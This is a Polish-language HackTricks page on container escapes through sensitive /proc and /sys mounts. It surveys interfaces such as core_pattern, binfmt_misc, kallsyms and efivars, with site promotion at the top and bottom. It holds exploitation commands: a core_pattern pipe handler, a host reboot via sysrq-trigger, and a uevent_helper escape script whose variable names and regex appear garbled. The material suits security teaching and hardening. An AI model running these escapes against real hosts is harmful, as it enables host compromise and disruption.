Wrażliwe montaże
Reading time: 6 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Ekspozycja /proc
i /sys
bez odpowiedniej izolacji przestrzeni nazw wprowadza znaczące ryzyko bezpieczeństwa, w tym powiększenie powierzchni ataku i ujawnienie informacji. Te katalogi zawierają wrażliwe pliki, które, jeśli są źle skonfigurowane lub dostępne dla nieautoryzowanego użytkownika, mogą prowadzić do ucieczki z kontenera, modyfikacji hosta lub dostarczenia informacji wspomagających dalsze ataki. Na przykład, niewłaściwe zamontowanie -v /proc:/host/proc
może obejść ochronę AppArmor z powodu swojej opartej na ścieżkach natury, pozostawiając /host/proc
bez ochrony.
Szczegóły dotyczące każdej potencjalnej luki można znaleźć w https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
Luki w procfs
/proc/sys
Ten katalog pozwala na modyfikację zmiennych jądra, zazwyczaj za pomocą sysctl(2)
, i zawiera kilka subkatalogów budzących niepokój:
/proc/sys/kernel/core_pattern
- Opisany w core(5).
- Umożliwia zdefiniowanie programu do wykonania przy generowaniu pliku core, z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury
|
. - Przykład testowania i eksploatacji:
[ -w /proc/sys/kernel/core_pattern ] && echo Tak # Test dostępu do zapisu
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Ustaw niestandardowy handler
sleep 5 && ./crash & # Wywołaj handler
/proc/sys/kernel/modprobe
- Szczegóły w proc(5).
- Zawiera ścieżkę do ładowarki modułów jądra, wywoływanej do ładowania modułów jądra.
- Przykład sprawdzania dostępu:
ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe
/proc/sys/vm/panic_on_oom
- Odniesienie w proc(5).
- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killera, gdy występuje warunek OOM.
/proc/sys/fs
- Zgodnie z proc(5), zawiera opcje i informacje o systemie plików.
- Dostęp do zapisu może umożliwić różne ataki typu denial-of-service przeciwko hostowi.
/proc/sys/fs/binfmt_misc
- Umożliwia rejestrowanie interpreterów dla nienatywnych formatów binarnych na podstawie ich magicznego numeru.
- Może prowadzić do eskalacji uprawnień lub dostępu do powłoki root, jeśli
/proc/sys/fs/binfmt_misc/register
jest zapisywalny. - Istotny exploit i wyjaśnienie:
- Poor man's rootkit via binfmt_misc
- Szczegółowy samouczek: Link do wideo
Inne w /proc
/proc/config.gz
- Może ujawniać konfigurację jądra, jeśli
CONFIG_IKCONFIG_PROC
jest włączone. - Przydatne dla atakujących do identyfikacji luk w działającym jądrze.
/proc/sysrq-trigger
- Umożliwia wywoływanie poleceń Sysrq, co może powodować natychmiastowe ponowne uruchomienia systemu lub inne krytyczne działania.
- Przykład ponownego uruchamiania hosta:
echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta
/proc/kmsg
- Ujawnia komunikaty z bufora pierścieniowego jądra.
- Może wspierać exploity jądra, wycieki adresów i dostarczać wrażliwe informacje o systemie.
/proc/kallsyms
- Wymienia eksportowane symbole jądra i ich adresy.
- Kluczowe dla rozwoju exploitów jądra, szczególnie w celu pokonania KASLR.
- Informacje o adresach są ograniczone, gdy
kptr_restrict
jest ustawione na1
lub2
. - Szczegóły w proc(5).
/proc/[pid]/mem
- Interfejs z urządzeniem pamięci jądra
/dev/mem
. - Historycznie podatny na ataki eskalacji uprawnień.
- Więcej w proc(5).
/proc/kcore
- Reprezentuje fizyczną pamięć systemu w formacie ELF core.
- Odczyt może ujawniać zawartość pamięci systemu hosta i innych kontenerów.
- Duży rozmiar pliku może prowadzić do problemów z odczytem lub awarii oprogramowania.
- Szczegółowe użycie w Dumping /proc/kcore in 2019.
/proc/kmem
- Alternatywny interfejs dla
/dev/kmem
, reprezentujący wirtualną pamięć jądra. - Umożliwia odczyt i zapis, a zatem bezpośrednią modyfikację pamięci jądra.
/proc/mem
- Alternatywny interfejs dla
/dev/mem
, reprezentujący pamięć fizyczną. - Umożliwia odczyt i zapis, modyfikacja całej pamięci wymaga rozwiązania adresów wirtualnych na fizyczne.
/proc/sched_debug
- Zwraca informacje o planowaniu procesów, omijając zabezpieczenia przestrzeni nazw PID.
- Ujawnia nazwy procesów, identyfikatory i identyfikatory cgroup.
/proc/[pid]/mountinfo
- Dostarcza informacje o punktach montowania w przestrzeni nazw montowania procesu.
- Ujawnia lokalizację
rootfs
kontenera lub obrazu.
Luki w /sys
/sys/kernel/uevent_helper
- Używane do obsługi
uevent
urządzeń jądra. - Zapis do
/sys/kernel/uevent_helper
może wykonywać dowolne skrypty po wyzwoleniuuevent
. - Przykład eksploatacji: %%%bash
Tworzy ładunek
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
Znajduje ścieżkę hosta z montażu OverlayFS dla kontenera
hostpath=$(sed -n 's/.\perdir=([^,]_).*/\1/p' /etc/mtab)
Ustawia uevent_helper na złośliwego pomocnika
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
Wyzwala uevent
echo change > /sys/class/mem/null/uevent
Odczytuje wynik
cat /output %%%
/sys/class/thermal
- Kontroluje ustawienia temperatury, potencjalnie powodując ataki DoS lub fizyczne uszkodzenia.
/sys/kernel/vmcoreinfo
- Ujawnia adresy jądra, potencjalnie kompromitując KASLR.
/sys/kernel/security
- Zawiera interfejs
securityfs
, umożliwiający konfigurację modułów bezpieczeństwa Linux, takich jak AppArmor. - Dostęp może umożliwić kontenerowi wyłączenie swojego systemu MAC.
/sys/firmware/efi/vars
i /sys/firmware/efi/efivars
- Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
- Błędna konfiguracja lub eksploatacja mogą prowadzić do zablokowanych laptopów lub nieuruchamialnych maszyn hosta.
/sys/kernel/debug
debugfs
oferuje interfejs debugowania "bez zasad" do jądra.- Historia problemów z bezpieczeństwem z powodu swojej nieograniczonej natury.
Odniesienia
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
- Zrozumienie i wzmacnianie kontenerów Linux
- Wykorzystywanie uprzywilejowanych i nieuprzywilejowanych kontenerów Linux
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.